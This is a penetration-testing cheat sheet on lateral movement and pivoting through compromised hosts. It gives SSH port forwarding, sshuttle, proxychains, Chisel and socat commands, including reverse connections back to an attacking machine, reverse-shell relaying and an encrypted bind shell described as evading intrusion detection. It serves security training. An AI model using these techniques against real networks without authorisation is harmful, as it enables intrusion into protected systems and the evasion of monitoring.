Lateral Movement
Pivoting
SSH Port Forwarding
Ref: https://blog.notso.pro/2019-10-24-tactical-debriefing1/
Forward Connections
When the operator employs local port forwarding, he creates a proxy on his device, listening on a certain port, which will route traffic through an SSH tunnel to a remote host he has SSH access to. From there the host will send traffic to the remote host the operator specified while setting up the tunnel. It’s called “local” because it creates a local proxy (hosted on the operator’s machine) to forward traffic to a remote resource.
ssh -L localPort:targetIp:targetPort user@target -fN
-L being the option to instruct SSH to instantiate a local port forwarding tunnel
localPort being the port on the operator’s device on which the proxy will be created
targetIp being the remote host the operator wants to reach through the tunnel
targetPort being the port on the remote host the operator wants to reach through the tunnel
-f: Background process
-N: Don't run any commands. Only setup the connection
Let’s have a look at a typical scenario. In the following image our operator is denied access to a webserver located at the IP address 10.0.0.2 on port 80. The firewall however allows SSH connections and the operator manages to connect to a server located at 10.0.0.1 as root. From there he sees the server he has logged on can “see” the webserver.
Let’s say now I have to access a resource that’s listening locally on the SSH gateway. It happened on a couple of occasions that a machine I compromised had a webserver listening locally. That meant I couldn’t access it through the browser by trying to contact the machine IP directly. I had SSH access but no means of accessing the webserver remotely. Through local port forwarding I was able to reach the local webserver by putting the IP address of the SSH server as the target:
ssh -L 1337:127.0.0.1:80 root@10.0.0.1
This kind of forwarding is also very useful in those situation where you manage to compromise a machine which has access to a subnet where there are Windows hosts that can be accessed through Remote Desktop. Instead of forwarding port 1337 to port 80 on the target server you could forward local port 3389 to port 3389 on the target server. By doing that you can then try to Remote Desktop to yourself and the SSH tunnel would route that to the remote Windows host.
Reverse connections
Remote port forwarding is kind of the opposite of local port forwarding. While local port forwarding saw the operator initiate a connection through the tunnel, remote port forwarding is more similar to the NAT port forwarding you configure on your home router. Employing remote port forwarding the operator can instruct an SSH server to route traffic it receives on a certain port through the SSH tunnel, to another host on the network of the operator machine. It’s most common use, when it comes to offensive security, is routing reverse shell traffic to and from a listener. Let’s see an example:
Here our operator managed to get SSH access to the same host we saw in the previous example, but this time he needs the server to route a reverse shell he executed on the target back to himself. The syntax to make this happen is the following:
With:
-Rbeing the option to instruct SSH to instantiate a remote port forwarding tunnelsshGatewayIpbeing the IP address of the SSH server that will route the trafficsshGatewayPortbeing the port of the SSH server that will receive the traffic that needs to be routedlocalIpbeing IP address to which the traffic will be routed. Most of the times it’s going to be the operator’s onelocalPortbeing the port to which the traffic will be routed. Most of the times it’s going to be the operator’s listener’s portuserbeing the user he has the credential ofsshGatewaybeing the device the operator has SSH access to
To be more specific, in this scenario a reverse shell connection is initiated by the target machine, pointing to the SSH gateway on port 1234. The SSH gateway has no listener active to deal with the reverse shell, but through remote port forwarding has been instructed to route traffic entering port 1234 to the operator’s machine, which has a listener on port 1337. In this way the SSH gateway routes traffic to the operator and a successful connection is established between the target and the operator’s device, using the SSH gateway as pivot.
Reference: TryHackMe
Reverse connections are very possible with the SSH client (and indeed may be preferable if you have a shell on the compromised server, but not SSH access). They are, however, riskier as you inherently must access your attacking machine from the target -- be it by using credentials, or preferably a key based system. Before we can make a reverse connection safely, there are a few steps we need to take:
ssh-keygen
Copy the contents of the public key (the file ending with .pub), then edit the ~/.ssh/authorized_keys file on your own attacking machine. You may need to create the ~/.ssh directory and authorized_keys file first. To make sure that the key can only be used for port forwarding, disallowing the ability to gain a shell on your attacking machine. On a new line, type the following line, then paste in the public key:
Transfer the private key to the target box. With the key transferred, we can then connect back with a reverse port forward using the following command:
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
To put that into the context of our fictitious IPs: 172.16.0.10 and 172.16.0.5, if we have a shell on 172.16.0.5 and want to give our attacking box (172.16.0.20) access to the webserver on 172.16.0.10, we could use this command on the 172.16.0.5 machine:
ssh -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -fN
This would open up a port forward to our Kali box, allowing us to access the 172.16.0.10 webserver, in exactly the same way as with the forward connection we made before!
In newer versions of the SSH client, it is also possible to create a reverse proxy (the equivalent of the -D switch used in local connections). This may not work in older clients, but this command can be used to create a reverse proxy in clients which do support it:
ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN
This, again, will open up a proxy allowing us to redirect all of our traffic through localhost port 1337, into the target network.
Dynamic Port Forwarding
SSH Portforward + Proxychains
Proxies are made using the -D switch, for example: -D 1337. This will open up port 1337 on your attacking box as a proxy to send data through into the protected network. This is useful when combined with a tool such as proxychains.
sshuttle
It’s a transparent proxy server that works like “a vpn”, and doesn’t require with admin rights on the target server, only thing needed is that the bastion server you will use, needs to have installed python and sometimes some SSH Forwarding.
Requires SSH + Python on the target.
Something worth to mention nmap doesn’t work through sshuttle.
One hop
Let’s say we are in an intranet and we have compromised a firewall that gives us access to the management net (fw.example.mgmt — ips 192.168.20.35 and 192.168.30.253 as the management ip), by using sshuttle we can create a “vpn” to talk directly to those servers, for that, we use:
Multi-hops
Now imagine that after we broke up into the management net after some some enumeration, we ended to compromise a machine that has also access to a production environment (foreman.example.mgmt — ips 192.168.30.40 and 192.168.25.87), we can take advantage of sshuttle + ProxyCommand of ssh to create a “vpn” through this multiple hops, so…putting it down, this will be kind of as follow (the diagram is extremely simplified and just for the sake of illustrate this visually, so it doesn’t intend to provide a 100% precise network diagram):
To have that working, is needed to put the next conf in your ssh conf file (normally ~/.ssh/config. It’s based on the example above, but is easy to extrapolate to different scenarios):
And now to setup the “multiple hop vpn”, run:
Metasploit
Creates a relay through local host P:445->Meterpreter session->127.0.0.1 P:445
When running exploits: Set RHOST as 127.0.0.1
Proxychains
You can only use TCP scans -- so no UDP or SYN scans.
ICMP Echo packets (Ping requests) will also not work through the proxy, so use the
-Pnswitch to prevent Nmap from trying it. It will be extremely slow.Try to only use Nmap through a proxy when using the NSE (i.e. use a static binary to see where the open ports/hosts are before proxying a local copy of nmap to use the scripts library).
Config file locations (in search order) are:
The current directory (i.e.
./proxychains.conf)~/.proxychains/proxychains.conf/etc/proxychains.conf
Chisel
Chisel is an awesome tool which can be used to quickly and easily set up a tunneled proxy or port forward through a compromised system, regardless of whether you have SSH access or not.
Can be easily compiled for any system (with static release binaries for Linux and Windows provided).
Same functionality as the standard SSH proxying / port forwarding we covered earlier; however, it doesn't require SSH access on the compromised target.
Must have an appropriate copy of the chisel binary on both the attacking machine and the compromised server.
Use with ProxyChains: As Chisel uses a SOCKS5 proxy, we will also need to change the start of the line from
socks4tosocks5:
Remember to change FoxyProxy settings to SOCKS5.
Reverse SOCKS Proxy: Let's start by looking at setting up a reverse SOCKS proxy with chisel. This connects back from a compromised server to a listener waiting on our attacking machine.
This command connects back to the waiting listener on our attacking box, completing the proxy.
&- background the processes.
Notice that, despite connecting back to port <LIST-PORT> successfully, the actual proxy has been opened on 127.0.0.1:1080(proxychains port). As such, we will be using port 1080 when sending data through the proxy. Not the chisel <LISTEN_PORT>
Note the use of R:socks in this command. "R" is prefixed to remotes (arguments that determine what is being forwarded or proxied -- in this case setting up a proxy) when connecting to a chisel server that has been started in reverse mode. It essentially tells the chisel client that the server anticipates the proxy or port forward to be made at the client side (e.g. starting a proxy on the compromised target running the client, rather than on the attacking machine running the server). Once again, reading the chisel help pages for more information is recommended.
Forward SOCKS Proxy: Forward proxies are rarer than reverse proxies for the same reason as reverse shells are more common than bind shells; generally speaking, egress firewalls (handling outbound traffic) are less stringent than ingress firewalls (which handle inbound connections). That said, it's still well worth learning how to set up a forward proxy with chisel.
PROXY_PORT is the port that will be opened for the proxy.
For example, ./chisel client 172.16.0.10:8080 1337:socks would connect to a chisel server running on port 8080 of 172.16.0.10. A SOCKS proxy would be opened on port 1337 of our attacking machine.
Note: The proxy opens on port 1080 rather than the specified listening port (1337). If you use proxychains with a forward proxy then the port should be set to whichever port you opened (1337 in the above example).
Remote Port Forward: A remote port forward is when we connect back from a compromised target to create the forward.
For a remote port forward, on our attacking machine we use the exact same command as before:
./chisel server -p LISTEN_PORT --reverse &
Once again this sets up a chisel listener for the compromised host to connect back to.
The command to connect back is slightly different this time, however:
./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
You may recognise this as being very similar to the SSH reverse port forward method, where we specify the local port to open, the target IP, and the target port, separated by colons. Note the distinction between the LISTEN_PORT and the LOCAL_PORT. Here the LISTEN_PORT is the port that we started the chisel server on, and the LOCAL_PORT is the port we wish to open on our own attacking machine to link with the desired target port.
To use an old example, let's assume that our own IP is 172.16.0.20, the compromised server's IP is 172.16.0.5, and our target is port 22 on 172.16.0.10. The syntax for forwarding 172.16.0.10:22 back to port 2222 on our attacking machine would be as follows:
./chisel client 172.16.0.20:1337 R:2222:172.16.0.10:22 &
Connecting back to our attacking machine, functioning as a chisel server started with:
./chisel server -p 1337 --reverse &
This would allow us to access 172.16.0.10:22 (via SSH) by navigating to 127.0.0.1:2222.
Local Port Forward: As with SSH, a local port forward is where we connect from our own attacking machine to a chisel server listening on a compromised target.
On the compromised target we set up a chisel server:
./chisel server -p LISTEN_PORT
We now connect to this from our attacking machine like so:
./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT
For example, to connect to 172.16.0.5:8000 (the compromised host running a chisel server), forwarding our local port 2222 to 172.16.0.10:22 (our intended target), we could use:
./chisel client 172.16.0.5:8000 2222:172.16.0.10:22
As with the backgrounded socat processes, when we want to destroy our chisel connections we can use jobs to see a list of backgrounded jobs, then kill %NUMBER to destroy each of the chisel processes.
Note: When using Chisel on Windows, it's important to remember to upload it with a file extension of .exe (e.g. chisel.exe)!
socat
socat can be used to create encrypted connections. [TryHackMe Room]
Whilst the following techniques could not be used to set up a full proxy into a target network, it is quite possible to use them to successfully forward ports from both Linux and Windows compromised targets.
Ideal for reverse shell relaying
For example, if you are attempting to get a shell on a target that does not have a direct connection back to your attacking computer, you could use socat to set up a relay on the currently compromised machine to your attacking host. This listens for the reverse shell from the target and then forwards it immediately back to the attacking box.
Encrypted Bind Shell
To add encryption to a bind shell, we will rely on Secure Socket Layer85 certificates. This level of encryption will assist in evading intrusion detection systems (IDS)86 and will help hide the sensitive data we are transceiving.
req: initiate a new certificate signing request
newkey: generate a new private key
rsa:2048: use RSA encryption with a 2,048-bit key length.
nodes: store the private key without passphrase protection
keyout: save the key to a file
x509: output a self-signed certificate instead of a certificate request
days: set validity period in days
out: save the certificate to a file
Password Spray
Last updated
